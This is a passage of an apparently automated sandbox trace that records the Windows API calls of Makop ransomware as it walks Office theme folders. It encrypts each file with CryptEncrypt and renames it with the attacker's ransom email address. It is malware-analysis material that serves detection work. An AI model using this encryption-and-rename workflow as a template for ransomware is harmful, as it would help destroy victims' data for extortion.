dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.157] GetProcessHeap () returned 0x48a0000 [0097.157] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.158] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.158] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.158] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.158] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.158] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.158] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.158] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.159] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.159] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.159] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.159] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.159] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5ad, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x5ad, lpOverlapped=0x0) returned 1 [0097.159] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x5b0) returned 1 [0097.159] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.160] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x5b0, lpOverlapped=0x0) returned 1 [0097.160] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.160] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.160] SetEndOfFile (hFile=0x138) returned 1 [0097.166] GetProcessHeap () returned 0x48a0000 [0097.166] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.166] GetProcessHeap () returned 0x48a0000 [0097.166] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.167] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0097.167] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.168] CloseHandle (hObject=0x138) returned 1 [0097.168] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0097.168] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0097.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.168] GetProcessHeap () returned 0x48a0000 [0097.169] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.169] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.169] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.169] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0097.173] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.173] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.173] GetProcessHeap () returned 0x48a0000 [0097.173] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.173] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.173] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.174] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.174] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.174] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.174] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.174] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.174] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.174] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.175] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.175] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.175] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6212, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6212, lpOverlapped=0x0) returned 1 [0097.177] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6220, dwBufLen=0x6220 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6220) returned 1 [0097.177] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.177] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6220, lpOverlapped=0x0) returned 1 [0097.177] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.177] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x62f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.177] SetEndOfFile (hFile=0x138) returned 1 [0097.184] GetProcessHeap () returned 0x48a0000 [0097.184] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.184] GetProcessHeap () returned 0x48a0000 [0097.184] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.184] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0097.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.185] CloseHandle (hObject=0x138) returned 1 [0097.185] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0097.185] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0097.185] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0097.185] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE") returned 63 [0097.185] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*") returned 67 [0097.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0097.188] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.188] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0097.188] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM") returned 75 [0097.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.189] GetProcessHeap () returned 0x48a0000 [0097.189] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.189] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.189] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.189] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0097.194] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.194] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.194] GetProcessHeap () returned 0x48a0000 [0097.194] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.194] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.194] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.194] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.194] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.194] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.195] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.195] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.195] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.195] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.196] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.196] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.196] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1cf31, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1cf31, lpOverlapped=0x0) returned 1 [0097.199] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1cf40, dwBufLen=0x1cf40 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1cf40) returned 1 [0097.200] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.200] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1cf40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1cf40, lpOverlapped=0x0) returned 1 [0097.202] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.202] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1d014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.202] SetEndOfFile (hFile=0x138) returned 1 [0097.210] GetProcessHeap () returned 0x48a0000 [0097.210] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.210] GetProcessHeap () returned 0x48a0000 [0097.210] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.210] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0097.210] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.211] CloseHandle (hObject=0x138) returned 1 [0097.211] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0097.211] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF") returned 75 [0097.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.213] GetProcessHeap () returned 0x48a0000 [0097.213] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.213] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.213] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.213] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0097.217] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.217] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.217] GetProcessHeap () returned 0x48a0000 [0097.218] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.218] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.218] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.218] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.218] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.218] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.218] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.219] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.219] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.219] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.219] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.219] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.219] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x253, lpOverlapped=0x0) returned 1 [0097.220] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x260, dwBufLen=0x260 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x260) returned 1 [0097.220] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.220] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x260, lpOverlapped=0x0) returned 1 [0097.220] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.220] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x334, 